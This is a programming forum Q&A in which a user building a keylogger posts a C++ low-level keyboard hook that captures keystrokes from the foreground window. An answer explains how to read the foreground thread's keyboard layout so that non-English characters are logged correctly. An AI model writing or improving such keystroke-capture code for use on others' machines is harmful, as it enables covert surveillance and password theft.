Click here to Skip to main content
15,922,427 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
Hi

I am writing a key logger which logs Unicode chars by attach foreground window thread with my thread.
It works fine when I type English chars and it catch the right case of chars (small or capital) whether in current thread or in foreground thread .

The problem when I type Arabic chars in foreground thread, my current thread receives the correspond chars in English, as my current thread receives the right keyboard state (Arabic chars or English) when it is the foreground thread.
Here is the code :
C++
LRESULT CALLBACK keyproc(int nCode,WPARAM wparam,LPARAM lparam)
{
    if(nCode ==HC_ACTION)
    {
        if(wparam==WM_KEYUP)
        {    
            KBDLLHOOKSTRUCT *p=(KBDLLHOOKSTRUCT*)lparam;
            byte b[256];
            wchar_t *buff=new wchar_t[1];            AttachThreadInput(GetWindowThreadProcessId(GetForegroundWindow(),NULL), GetCurrentThreadId(),true);
            if (GetKeyboardState(b))
            {
                ToUnicode(p->vkCode,p->scanCode,b,buff,1,0);
            }
            s+=QString::fromWCharArray(buff,1);            
        }
    }
    return 0;
}


Can one help me ??
Posted
Updated 15-Nov-11 9:02am
v2
Comments
JackDingler 15-Nov-11 11:55am    
Is your application being built with unicode turned on in he project settings??

1 solution

Take a look at the documentation for ToUnicodeEx

http://msdn.microsoft.com/en-us/library/windows/desktop/ms646322(v=vs.85).aspx[^]

And for LoadKeyboardLayout

http://msdn.microsoft.com/en-us/library/windows/desktop/ms646305(v=vs.85).aspx[^]

It seems that ToUnicode depends on the current keyboard layout -- which is a process specific thing. You can use ToUnicodeEx to specify a specific keyboard layout.

The trick will be to determine what keyboard layout use.

I looks like GetKeyboardLayout lets you query the active keyboard layout for a specific thread:

http://msdn.microsoft.com/en-us/library/windows/desktop/ms646296(v=VS.85).aspx[^]

Give it a try. See if you can retrieve the active keyboard layout from the foreground process and pass that to ToUnicodeEx.
 
Share this answer
 
Comments
mohammadrefaie 16-Nov-11 1:27am    
Really do not know how I can thank you ,for three days and I'm looking for the solution and not out of something.
it works 100% .
thank you very much.

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900